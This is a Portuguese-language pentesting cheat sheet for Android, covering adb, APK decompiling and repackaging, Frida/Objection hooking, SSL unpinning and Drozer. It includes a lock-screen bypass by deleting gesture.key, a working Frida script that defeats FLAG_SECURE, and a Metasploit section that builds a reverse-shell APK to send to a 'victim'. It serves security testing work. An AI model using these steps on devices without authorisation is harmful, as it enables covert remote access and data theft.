> For the complete documentation index, see [llms.txt](https://mysther.gitbook.io/knowledge-base/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://mysther.gitbook.io/knowledge-base/ataques/mobile/android.md). # Android ### Estrutura
DIRETÓRIODESCRIÇÃO
/system/appAplicativos padrões (nativos), como Calculadora, Galeria, Maps, etc.
/data/app-privateAplicativos de terceiro. Aqui podemos encontrar as APK's, caso tenho interesse.
/data/dataEstrutura dos aplicativos (nativos e de terceiros). Alguns dados dos app podem ser vistos aqui, incluindo arquivos de bando de dados.
data/app/<package.name>Diretório onde ficam as APK's baixadas pela Play Store
/data/local/tmpDiretório onde ficam os arquivos temporários
/data/system/gesture.keyArquivo responsável por gerenciar o código de desbloqueio com sequência nos pontos.
/mnt/sdcardAcesso ao cartão de memória
adb exec-out screencap -p > <output_screen.png>Tira print da tela e salva em arquivo
### Baixando APK #### Maneira 1 A maneira mais prática que temos de pegar uma APK, é baixando pela play store e depois acessando o shell do android, navegando até `/data/app/` e então baixado o ``. Aqui caímos em um cenário interessante... o nome do package terá um prefixo (exceto nos Androids mais antigos), então um usuário comum não consegue listar o seu nome, já que somente o root acessa o diretório `/data/app`. Porém, o arquivo apk é acesível para todos, que fica em `/data/app//base.apk`. Então iremos precisar fazer um macete para pegarmos essas APK's sem precisar utilizar o root. Verificando nomes dos pacotes: ```bash adb shell pm list packages -3 | cut -d':' -f2 ``` Após termos em mãos os nomes dos pacotes, podemos pegar o caminho exato do arquivo apk (que temos acesso): ```bash adb shell pm path '' | cut -d':' -f2 ``` Feito isso, basta baixá-lo: ```bash adb pull '/base.apk' ``` #### #### Maneira 2 Primeiro acesse o site , copie o link da página do app que deseja pegar a APK e então acesse o site e informe a URL copiada. ### Armazenamento de Dados #### Shared Prefs Este tipo consiste em armazenar informações localmente em `/data/data//shared_prefs/_preferences.xml` (o app pode criar diversos arquivos, não se limite a olhar somente esse). Supondo que o app esteja armazenando o usuário e senha dessa maneira, tais credenciais podem ser comprometidas caso um atacante tenha acesso físico ao celular. #### SQLite Geralmente podemos encontrar o arquivo sqlite em `/data/data//databases`. ### Tipos de Arquivos e Conversões Compilando código java (converte `file.java` em `file.class`) ```bash javac ``` Para verificar se o arquivo está ok, basta executar o comando abaixo (não precisa do sufixo `.class`): ```bash java ``` Por padrão, o Android não executa esse tipo de arquivo, então precisamos utilizar `DVM (Dalvik Virtual Machine)`, e para isso, é necessário converter arquivo `.class` em `.dex`. ```bash ./dx --dex --output=desec.dex Desec.class ``` Para testar se está ok, faça upload desse arquivo para o Android via `adb` (pode ser em `/data/local/tmp`) e depois execute o seguinte comando: ```bash dalvikvm -cp ``` Nas versões mais atuais do Android, a execução é feita através do `ART (Android Runtime)`, então é preciso converter o arquivo `.dex` em `oat`. ```bash dex2oat --dex-file= --oat-file= ``` Também podemos converter arquivos `.java` em `.dex` e depois em `.smali`. ```bash javac --release 7 dx --dex --output= file.class baksmali -o ``` ### Bypass em Tela de Bloqueio Caso tenha acesso root ao Android via `adb`, podemos resetar a senha de desbloqueio (aquela que é preciso fazer uma determinada sequencia ligando os pontos). Para isso, basta executar o comando abaixo para deletar o arquivo responsável pelo gerenciamento dessa senha. ``` rm /data/system/gesture.key ``` Feito isso, basta agora utilizar qualquer sequencia de desbloqueio, que o Android irá validar como correto. ### Android Studio Execute antes de instalar o Android Studio, execute: ```bash sudo apt install libz1 libncurses5 libbz2-1.0:i386 libstdc++6 libbz2-1.0 ``` Após a sua execução, abra o `Android Studio`, vá no menu Tools e clique em `Create Desktop Entry`, assim não é preciso entrar no diretório via terminal e chamar diretamente o arquivo `studio.sh` toda vez. ### Emulator Esse, assim como o `adb`, já faz parte do pacote do Android Studio e podemos utilizá-lo para iniciarmos um Android sem precisar abrir a GUI do Android Studio, que deve ser utilizado somente para criar os dispositivos antes. Listando dispositivos disponíveis que já foram criados através do Android Studio ```bash ./emulator -list-avds ``` Iniciando um dispositivo ```bash ./emulator @ ``` Fornece permissão de escrita nas pastas de sistema quando viramos root ```bash emulator -avd -writeable-system ``` ### ### adb {% hint style="info" %} **ATENÇÃO**: Sempre que for utilizar o `adb`, certifique-se de emular o Android antes, através do ./emulator `@` {% endhint %} | COMANDO | DESCRIÇÃO | | -------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- | | `adb devices` | Lista os devices disponíveis | | `adb -s shell` | Caso tenha mais de um device, é preciso passar o seu nome. Caso tenha somente um device, não é preciso especificar | | `adb shell getprop ro.product.cpu.abi` | Descobrindo a arquitetura do Android | | `adb root` | Reinicia o adb com permissões de root | | `adb unroot` | Reinicia o adb sem permissões de root | | `adb shell` | Conecta via shell no android (funciona somente quanto tem apenas 1 device) | | `adb -e shell` | Conecta via shell no android emulado (funciona somente quanto tem apenas 1 device emulado) | | `adb -d shell` | Conecta via shell no android físico (funciona somente quanto tem apenas 1 device físico) | | `adb shell ` | Executa o comando no shell (sem entrar no modo interativo) | | `adb shell ps` | Exibe os processos que estão em execução no Android | | `adb push /data/local/tmp` | Realiza upload de um arquivo para o tmp do Android | | `adb pull ` | Realiza download de um arquivo do Android para o diretório atual | | `adb pull ` | Realiza download de um arquivo do Android para um diretório personalizado | | `adb install ` | Instala um app manualmente | | `adb uninstall package` | Desinstala um app. Utilize o comando `ps` para listar o nome do package | | adb forward tcp:\ tcp:\ | Realiza um port forwarding | | `adb start-server` | Inicia o serviço do adb | | `adb kill-server` | Encerra o serviço do adb. As vezes o adb trava, então é útil parar o seu serviço e iniciar novamente, isso muitas vezes corrige as falhas | #### Package Manager {% hint style="success" %} **DICA**: Os comandos abaixo devem ser executados após entrar na shell interativa com o comando `adb shell` ou adicione o próprio prefixo `adb shell` nos comandos abaixo para não entrar na shell interativa. {% endhint %} | COMANDO | DESCRIÇÃO | | ---------------------------------- | ----------------------------------- | | `adb shell pm list users` | Lista os usuários | | `adb shell pm list packages` | Lista todos os pacote | | `adb shell pm list packages -s` | Lista todos os pacotes de sistema | | `adb shell pm list packages -3` | Lista todos os pacotes de terceiros | | `adb shell pm path ` | Mostra o caminho do APK | #### Activity Manager {% hint style="success" %} **DICA**: Os comandos abaixo devem ser executados após entrar na shell interativa com o comando **`adb shell`** ou adicione o próprio prefixo `adb shell` nos comandos abaixo para não entrar na shell interativa. {% endhint %} | COMANDO | DESCRIÇÃO | | ---------------------------------------------------------------------- | ------------------------------------------- | | `am start -a android.intent.action.VIEW ` | Abre o navegador já com determinada URL | | `am start -a android.intent.action.VIEW geo:0,0?q=` | Procura por uma empresa no Google Maps | | `am start -a android.intent.action.CALL -d tel:` | Realiza uma ligação para determinado número | | `am start -a android.intent.action.VIEW content://contacts/people` | Abre a agenda de contatos telefônicos | | `am start -n com.android.music/com.android.music.MusicBrowserActivity` | Abre o player de música | #### Services {% hint style="success" %} **DICA**: Os comandos abaixo devem ser executados após entrar na shell interativa com o comando `adb shell` ou adicione o próprio prefixo `adb shell` nos comandos abaixo para não entrar na shell interativa. {% endhint %} | COMANDO | DESCRIÇÃO | | ----------------------------------------------------------------------------- | ---------------------------------- | | `am startservice -n com.android.music/com.android.music.MediaPlaybackService` | Iniciando um serviço em background | | `am stopservice -n com.android.music/com.android.music.MediaPlaybackService` | Finaliza um serviço em background | #### Broadcast Receivers | COMANDO | DESCRIÇÃO | | ------------------------------------------------------ | --------------------------------------------- | | `am broadcast -a android.intent.action.BOOT_COMPLETED` | Exibe a mensagem (logo) quando liga o celular | #### Content Providers | COMANDO | DESCRIÇÃO | | ---------------------------------------- | -------------------------------------------------------------------------------- | | `content query --uri content://sms/sent` | Exibe no terminal todos os SMS que foram enviados e suas respectivas informações | ### SSL Pinning / Unpinning No final dessa página, utilize o link de download para baixar o Frida Multiple Pinning, que resolve questões de Pinning e falhas de `TrustManager`, que geralmente vem acompanhando de erros como `java.security.cert.CertPathValidatorException: Trust anchor for certification path not found` ao realizarmos uma interceptação via Burp Suite. Podemos procurar por pontos de pinagem em código ofuscado, extraindo o código com o `apktool` e depois procurando por palavras-chave, como no exemplo abaixo: ```bash grep -irnE -A6 'method public.*\(Ljava/lang/String;Ljava/lang/String;\)' | grep -i pin ``` #### Manual Após decompilar a APK com o apktool, vá na tag `application` dentro arquivo `AndroidManifest.xml` e adicione o seguinte conteúdo: ```bash android:networkSecurityConfig="@xml/network_security_config" ``` Vá em `res/xml` e crie um arquivo chamado `network_security_config.xml`, com o seguinte conteúdo: ```bash ``` Compile com o apktool e em seguida crie uma auto assinatura (todos esses passos estão nessa mesma página). ### Proxy #### Maneira 1 Essa é sem dúvidas a forma mais, pois iremos apenas criar um túnel via adb utilizando o comando abaixo. Não é preciso importar certificado do Burp nesse processo. ```bash adb reverse tcp:8080 tcp:8080 ``` Verificando os túneis que estão ativos ```bash adb reverse --list ``` Após isso, basta ir nas configuração do Wifi e adicionar um proxy para 127.0.0.1 na porta 8080. Com isso, possívelmente já deve ser capaz de interceptar as requisições via Burp, porém em alguns cenários isso não é o suficiente, já que o firewall pode barrar esse tipo de conexão. Para resolver este cenário, acesse o Android com root e execute os seguintes comandos: ```bash iptables -t nat -A OUTPUT -p tcp -m tcp --dport 80 -j REDIRECT --to-ports 8080 iptables -t nat -A OUTPUT -p tcp -m tcp --dport 443 -j REDIRECT --to-ports 8080 ``` Feito isso, vá no `Burp Suite` > `Proxy` > `Options`, selecione o Listener (127.0.0.1:8080), clique em `Edit`, vá na aba `Request handling` e selecione a opção `Support invisble proxying (enable only if needed)`. #### Maneira 2 Caso utilize algum proxy (por exemplo, o Burp Suite), utilize o comando abaixo. Lembre-se também de, alterar o proxy nas configurações de rede do próprio Android, seja editando a Rede Wifi ou a Rede Móvel (configurando o APN - Access Point Names). Configure um PIN de 4 dígitos para bloqueio de tela e importe também o certificado confiável do proxy para que possa os apps normalmente. Caso utilize o wifi em um Android Emulador, desabilite o 3G/4G. ```bash ./emulator @ -http-proxy : ``` Outra alternativa é, alterar as configurações no menu suspenso que fica do lado do mobile, onde é possível configurar o proxy. ### Acessando como root Ao utilizar o Android Studio e emular um novo Android, se atente ao ponto onde, imagens com o Google Play instalado não possui o root ativo, já os que não possuem o Google Play, podem ser acessados como root. #### Maneira 1 Após iniciar o Android e acessar via `adb shell`, note que temos acesso de um usuário comum, mas podemos ter acesso root apenas digitando `su` no terminal. Se preferir, pode-se utilizar o comando `adb root` para ficar com acesso root diretamente, note que após isso, o comando `adb shell id` terá um resultado diferente. #### Maneira 2 Outra maneira de fazermos o processo de root é executar o seguinte comando em um terminal: ```bash ./emulator -avd -writable-system -selinux permissive -qemu -enable-kvm ``` E em outro terminal: ```bash adb root adb remount adb shell ``` ### Diretórios e Arquivos Importantes (APK) #### AndroidManifest.xml {% hint style="info" %} **NOTA**: No final da página (na seção `sites`, há um link onde pode enviar conteúdo no `AndroidManifest.xml` e o site irá explicar cada permissão que o app está utilizando). {% endhint %} Este é o principal arquivo de configuração usado por todos os aplicativos Android. É usado pelo Android para obter informações sobre o aplicativo, bem como quais funcionalidades estão expostas a outros aplicativos (entre outras coisas). Fique atento as seguintes informações: * **package** = Nome do app * **platformBuildVersionCode** = Versão do SDK que aplicativo foi compilado * **android:allowBackup="true"** = É possível fazer um backup do aplicativo via `adb` * **android:exported="true"** = Este serviço pode ser invocado por outros aplicativos * **android.permission.SET\_DEBUG\_APP** = Caso esse recurso esteja ativo (presente no `AndroidManifest.xml`, significa que o aplicativo pode realizar debug de outros aplicativos. * **android.permission.DUMP** = Permite que o aplicativo recupere o estado interno do sistema, permitindo recuperar uma grande variedade de informações privadas e seguras. * **android.permission.MANAGE\_ACCOUNTS** = Permite que a aplicação permita criar e excluir contas Um ponto importante também a ser notado, é que o podemos ver a tag `activity` no AndroidManifest.xml, e dentro dela, a tag `intent-filter` com sua respectiva `action`. Isso siginifica que essa action pode ser chamada por outros apps, ou até mesmo de forma manual, independente do app estar em execução ou não. Execute então o Activity Manager (am) para realizar tal chamada, substituindo o `` abaixo, com o valor de `android:name`, localizado na tag `activity`, porém adicionando um `/` antes do último ponto. Exemplo: ```bash adb shell am start ``` Podemos também chamá-lo de uma maneira diferente, passando o parâmetro `-n` para informar o `Componente` e o `-a` para informa a `Action` (valor de `android:name` dentro da tag `action`). ```bash adb shell am start -n -a ``` Em alguns casos, essas actions podem/devem receber parâmetros (que não são exibidas no AndroidManifest.xml), então deve adicionar o parâmetro --ez no comando acima. Para saber quais parâmetros são esses, devemos decompilar com o apktool e ler o código-fonte e, após isso, acessar res/values/strings.xml e verificar o nome real que deve ser passado pelo adb, como no exemplo abaixo: ```bash adb shell am start -n -a --ez ``` Outro ponto importante de vermos são os respectivos donos (ID de grupo e usuário) ```bash cd /data/data ls -lan dumpsys package | grep 'Package \[' -A1 ``` #### res/layout/activity\_main.xml Conteúdo em XML que contém um código fonte do frontend da aplicação. #### res/values/strings.xml String única que pode ser referenciada do aplicativo ou de outros arquivos de recurso (como um layout XML). #### HardcodeActivity Arquivo que podemos encontrar por chaves e demais valores que estão engessados no código. Caso use o apktool, este deve estar com a extensão `smali`. #### LogActivity Arquivo que gera saídas de log, que pode ser lida através do `adb logcat`. ### Lendo Logs em Real Time Isso é útil para identificarmos dados sensíveis que são disponíveis nos log's. ```bash adb shell logcat ``` {% hint style="success" %} **DICA**: Caso queira filtrar por determiando processo, utilize o comando `ps`, e então execute o comando acima utilizando um `grep` com o PID do processo que deseja monitorar. {% endhint %} ### Flag Secure Aplicativos com o Flag Secure ativo, bloqueia print do app quando ele está aberto e/ou quando a janela aparece na lista de apps abertos. Também é útil para barrar ferramentas que acessam um app físico remotamente, como Vysor. Bypass de Flag Secure. Salve o código abaixo com o nome xpl.js ```bash Java.perform(function() { var surface_view = Java.use('android.view.SurfaceView'); var set_secure = surface_view.setSecure.overload('boolean'); set_secure.implementation = function(flag) { console.log("setSecure() flag called with args: " + flag); set_secure.call(false); } var window = Java.use('android.view.Window'); var set_flags = window.setFlags.overload('int', 'int'); var window_manager = Java.use('android.view.WindowManager'); var layout_params = Java.use('android.view.WindowManager$LayoutParams'); set_flags.implementation = function(flags, mask) { flags = (flags.value & ~layout_params.FLAG_SECURE.value); set_flags.call(this, flags, mask); } }); ``` Agora execute: ```bash /path/to/frida -U -f '' -l xpl.js --no-pause ``` {% hint style="info" %} **NOTA**: Até o momento não existe uma maneira 100% eficaz que barre esse tipo de bypass {% endhint %} ### Content Provider Primeiro verifique se o `AndroidManifest.xml` possui a chave/valor `android:exported="true"` na tag `provider`, e caso seja positivo, execute o comando abaixo no código-fonte decompilado para buscar pelo `content`: ```bash grep -irn 'content://' ``` Caso localize algo com o `grep` acima, utilize o comando abaixo para ver os seu conteúdo: ```bash adb shell content query --uri content:// ``` ### MobSF Executando via Docker ```bash sudo docker pull opensecurity/mobile-security-framework-mobsf sudo docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest ``` ### Drozer #### Instalação Instalando o Drozer no Android ```bash adb install drozer.apk ``` Entre na GUI do Drozer, inicialize o serviço pelo próprio app e verifique a porta que foi aberta (geralmente é 31415). Levando em conta que estamos utilizando a porta default (31415), vamos fazer um Port Forwarding via adb, com o seguinte comando: ```bash adb forward tcp:31415 tcp:31415 ``` Feito isso, vamos iniciar o Drozer no terminal Linux, com o comando abaixo. Adicione `--server ` caso não seja na mesma máquina que esteja executando o Drozer e o Android. ```bash drozer console connect ``` #### Utilização Lista todos os módulos disponíveis ```bash list ``` Help ```bash help ``` Acessando Shell do dispositivo ``` shell ``` Buscando por todos os pacotes ```bash run app.package.list ``` Informações sobre as activities do um package. Adicione `-u` no final para ver todas as activities, pois por padrão só serão exibidas as que são exportadas, pois são propensas a ataques. ```bash run app.activity.info -a ``` Chamando uma activity ```bash run app.activity.start --component ``` Buscando por todos os pacotes, porém utilizando um filtro pelo nome ```bash run app.package.list -f ``` Informações sobre o pacote ```bash run app.package.info -a ``` Exibindo o AndroidManifest.xml ```bash run app.package.manifest ``` Examina a superfície de ataques do pacote instalado ```bash run app.package.attacksurface ``` Procura por Providers que podem ser executadas via query ```bash run scanner.provider.finduris -a ``` ### ### Decompilando APK #### apktool Baixe a APK que deseja decompilar, vá no terminal e execute o comando abaixo. Caso não especifique a saída, será utilizado o diretório local. ```bash apktool d -o ``` Disassemble sem o `resources` ```bash apktool -r d -o ``` Em alguns casos, é melhor baixar o apktool.jar e executá-lo, pois o que vem nativo no Kali as vezes pode apresentar alguns erros. Verifique no final dessa página a URL para download. Nesse caso, como se tratar de um arquivo `.jar`, precisamos executá-lo da seguinte forma: ```bash java -jar apktool.jar d -o ``` #### Smali / BakSmali Se executar o comando abaixo e não especificar o output, irá ser criado um diretório chamado `out`, onde irá conter os arquivos com extensão smali. ``` java -jar baksmali.jar d -o ``` \ unzip Outra maneira de descompactarmos uma apk (o resultado poderá diferente do comando anterior), é utilizando o `unzip`: ```bash unzip ``` #### jadx Extraindo arquivo com extensão .java ``` jadx -d ``` Abrindo apk em modo gráfico (IDE) em real time ``` jadx-gui ``` Além fazer essa extração de `.apk` para `.java`, o `jadx-gui` também consegue abrir arquivos `.apk` e ler o seu conteúdo, decompilando em tempo de execução. #### enjarify Instalação ```bash sudo apt install enjarify ``` Converte `.apk` em `.jar` ```bash enjarify -o ``` ### ### Pós Decompilação #### Arquivos dex As vezes ao desmontarmos uma APK, podemos ter arquivos de classes com extensão `dex`. Para lermos esses arquivos, temos que converter esse arquivo em `jar` e então, descompactarmos ele com o `unzip`. ```bash d2j-dex2jar unzip ``` {% hint style="success" %} **OBSERVAÇÃO**: Também é possível fazer esse processo direto no ``, através do comando `d2j-dex2jar -o ` e depois unzip `.` {% endhint %} #### Lendo Arquivos class O comando abaixo irá fazer uma cópia do arquivo `.class` para o diretório atual, com a extensão `.jad` (legível) ```bash jad ``` Caso tenha acesso ao GUI, utilize o comando abaixo para abrir uma ferramenta em modo gráfico: ```bash jd-gui ``` {% hint style="info" %} **NOTA**: o **`jd-gui`** lê mais tipos de arquivos, como: `.aar`, `.class`, `.ear`, `.jar, .java`, `.jmod,` `.log`, `.war` e `.zip` {% endhint %} #### Manipulando Arquivos class Depois de montar um arquivo `.jad` a partir um arquivo `.class`, podemos manipular o código com qualquer editor. Primeiro altere a extensão de `.jad` para `.java` e então execute o seguinte comando para converter em arquivo `.java` em `.class`. Atente-se que, caso tenha um arquivo com o mesmo nome e extensão `.class`, o mesmo será sobrescrito sem perguntar se deseja fazer isso ou não. ```bash javac ``` Feito isso, será criado um arquivo `.class` e partir do arquivo `.java`, o que nos permite agora executá-lo diretamente. ```bash java ``` {% hint style="info" %} **NOTA**: O comando **`java`** irá buscar automaticamente por um arquivo com extensão **`.class`**, então coloque somente o nome do arquivo. {% endhint %} ### Compilando APK Agora que APK já foi modificada, basta montá-la novamente, depois assiná-la e por fim, alinhá-la. #### apktool ```bash apktool b -o ``` Se montar o APK e não definir o output, o APK estará localizado em ``. #### smali ```bash java -jar assemble -o zip -r AndroidManifest.xml classes.dex res resources.arsc ``` ### Certificado Auto-Assinado Após ter montado o APK, precismos assiná-lo digitalmente para que possa ser instalado no Android. Talvez seja preciso ainda, fazer o alinhamento para que seja feito a instalação do APK com sucesso. Gerando a chave e auto-assinando: ```bash keytool -genkey -v -keystore -alias -keyalg RSA -keysize 2048 -validity 10000 jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore ``` **OBS.:** Caso dê erro `invalid entry compressed size` ao executar o `jarsigner`, execute o comando abaixo e depois use o `jarsigner` novamente: ```bash zip -d META-INF/\* ``` Verificar a assinatura (geralmente encontramos o `jarsigner` no diretório do Android Studio: `./android-studio/jre/bin/jarsigner`) ```bash jarsigner -verify -verbose -certs ``` Listando os certificados que tem dentro do keystore ```bash keytool -list -v -keystore ``` Exportando o certificado para ter uma melhor visualização ```bash keytool -export -rfc -keystore -alias -file ``` ### Alinhamento do APK (Align) Esse procedimento é realizado após compilar a APK e auto assiná-la. Isso é importante, pois em alguns casos não é possível instalar a APK mesmo depois de auto assinar. Geralmente encontramos o `zipalign` em `./Android/Sdk/build-tools//zipalign`. ```bash zipalign -v 4 ``` ### Frida Tem muitas dependências, então caso dê pau, utilize outras versões. De preferência, utilize a partir da 15.0.0. O recomendado é utilizar a mesma versão no Frida Server (Android) e no Frida Client (Computador). {% hint style="info" %} **IMPORTANTE:** Antes de realizar o procedimento abaixo para instalar, certifique-se de baixar o frida para a arquitetura correta do Android. Verifique como fazer isso na seção acima de `adb`. {% endhint %} #### Instalando Frida Client (computador) Certifique-se de que o python está na versão 3 ```bash pip install frida-tools # ou python -m pip install frida-tools ``` #### Instalando Frida Server (android emulado) Baixe e descompacte o `frida.xz`, envie para o Android em `/data/local/tmp/` e dê a permissão com o seguinte comando: ```bash chmod +x /data/local/tmp/ ``` #### Instalando Frida Server (android físico) Baixe e descompacte o `frida.xz`, envie para o Android em `/data/local/tmp/`. Para dar permissão de execução, utilize um dos comandos abaixo: ```bash adb shell su -c chmod +x /data/local/tmp/ adb shell su 0 chmod +x /data/local/tmp/ ``` #### Executando (android emulado) ```bash adb root adb shell chmod +x /data/local/tmp/ adb shell /data/local/tmp/ & ``` #### #### Executando (android físico) Execute um dos comandos abaixo: ```bash adb shell su -c /data/local/tmp/frida-server & adb shell su 0 /data/local/tmp/frida-server & ``` #### #### Utilização Verificando aplicativos que estão em execução no Android ```bash frida-ps -U ``` Tunelamento / Proxy ```bash adb reverse tcp:8080 tcp:8080 -U -f -l --no-pause ``` ### ### Objection Trabalha em cima do Frida, porém de uma forma mais automatizada, então certifique-se de executar o Frida Server (Android) antes de utilizar o Objection. #### Instalação Certifique-se de que o python está na versão 3 ```bash pip install objection python -m pip install objection ``` #### Utilização Conectando no android a abrindo um app (execute o frida server antes) ```bash objection --gadget explore ``` Verificando variáveis de ambiente ```bash env ``` Executando comandos no SO ```bash android shell_exec ``` Importando script do Frida ```bash import ``` Versão do Frida ```bash frida ``` Baixando arquivo ```bash file download . ``` Upload de arquivo ```bash file upload ``` Tirando print da tela (somente se o app estiver em primeiro plano) ```bash android ui screenshot ``` Listando as Activities ```bash android hooking list activities ``` Listando os Services ```bash android hooking list services ``` Listando os Receivers ```bash android hooking list receivers ``` Verificando qual a Activity que está sendo exibida no exato momento na aplicação. Ao alterar de tela no app, verifique que o comando abaixo irá mudar a resposta, exibindo a respectiva Activity no momento ```bash android hooking get current_activity ``` Abrindo uma Activity ```bash android intent launch_activity . ``` Exibe todas as classes que são carregadas na aplicação ```bash android hooking list classes ``` Semelhante ao comando anterior, porém este irá trazer somente as classes de um detereminado app. Note que o resultado irá trazer o nome (caminho) completo dessa classe, porém nos próximos comandos, utilize somente o final (o que está após o último ponto final) do resultado ```bash android hooking search classes ``` Pegando os métodos de uma determinada classe de um determinado app ```bash android hooking search methods ``` Verificando os parâmetros que um determinado método possui ```bash android hooking list class_methods . ``` Pegando um exemplo de Hooking. Depois de ver o resultado, altere a linha comentada com um `console.log("Texto aqui");` e salve em um arquivo `.js`. Após isso, execute e verifique se a mensagem foi exibida com sucesso no terminal do Objection, materializando assim que o Hooking teve êxito. Note que, ao realizar o comando abaixo, será gerado um script com todos os métodos da classe MainActivity, então limpe/apague o código dos métodos que não for utilizar. Abaixo estamos utilizando o `MainActivity`, mas altere para a classe que deseja atacar. ```bash # Gerando Hooking JS android hooking generate simple . # Executando o Hooking frida-ps -U -f '' -l --no-pause ``` Exemplo de código que deverá ser gerado: ```bash Java.perform(function() { var clazz = Java.use('.'); clazz.onCreate.implementation = function() { // return clazz.onCreate.apply(this, arguments); } }); ``` ### Super-Analyzer Ferramenta via terminal que exporta um HTML com vulnerabilidades encontradas. ```bash super-analyzer ``` Após o termino da execução do comando acima, leia o arquivo situado em `./results/owasp.mstg./index.html`. ### ClassyShark Ferramenta desenvolvida em Java que permite ler código-fonte de APK. #### Iniciando o ClassyShark ```bash java -jar ClassyShark.jar ``` ### ### AATP2 (Android Asset Packaging Tool) O AAPT2 (Android Asset Packaging Tool) é uma ferramenta de compilação que o Android Studio e o Plug-in do Android para Gradle usam para compilar e empacotar recursos de apps. O AAPT2 analisa, indexa e compila os recursos em um formato binário que é otimizado para a plataforma Android. Apesar de vermos o AAPT2 sendo utilizada em conjuntos com outras ferramentas, também podemos utilizá-la separadamente via terminal. #### Verificando permissões do APK Este na verdade irá ler o `AndroidManifest.xml` e extrair as devidas informações. ```bash aapt dump permissions sample-expense-manager.apk ``` ### Lendo Arquivos ab Arquivos com extensão `.ab` são usados para fazer backup. Para ver o seu conteúdo, execute: ```bash ( printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" ; tail -c +25 ) | tar xfvz - ``` ### Invadindo Android com Metasploit ```bash msfconsole msfvenom -p android/meterpreter/reverse_tcp LHOST= LPORT= R > use multi/handler set payload android/meterpreter/reverse_tcp set LHOST set LPORT exploit ``` Agora envie o arquivo gerado para a vítima e, assim que ele executar a APK, irá entrar no Meterpreter ### Sites ```bash # Download do apktool https://github.com/iBotPeaches/Apktool/releases # Site para baixar APK https://apkcombo.com/pt/ # Frida Multiple Unpinning https://codeshare.frida.re/@akabe1/frida-multiple-unpinning/ # Fridantiroot https://codeshare.frida.re/@dzonerzy/fridantiroot/ # Site para saber o que significa cada permissão do AndroidManifest.xml http://androidpermissions.com/ # Detalhes sobre o AndroidManifest.xml https://developer.android.com/guide/topics/manifest/manifest-intro # Frida https://github.com/frida/frida/releases/ # Proxiando Android com Burp Suite https://portswigger.net/support/configuring-an-android-device-to-work-with-burp # Baksmali e Smali - Baixe os arquivos baksmali-x.x.x.jar e smali-x.x.x.jar https://bitbucket.org/JesusFreke/smali/downloads/ https://gitlab.com/kalilinux/packages/smali # Enjarify - Converte um arquivo .apk em uma .jar https://github.com/google/enjarify # Jython - Executa um Java dentro ou do Python ou vice-versa https://www.jython.org ```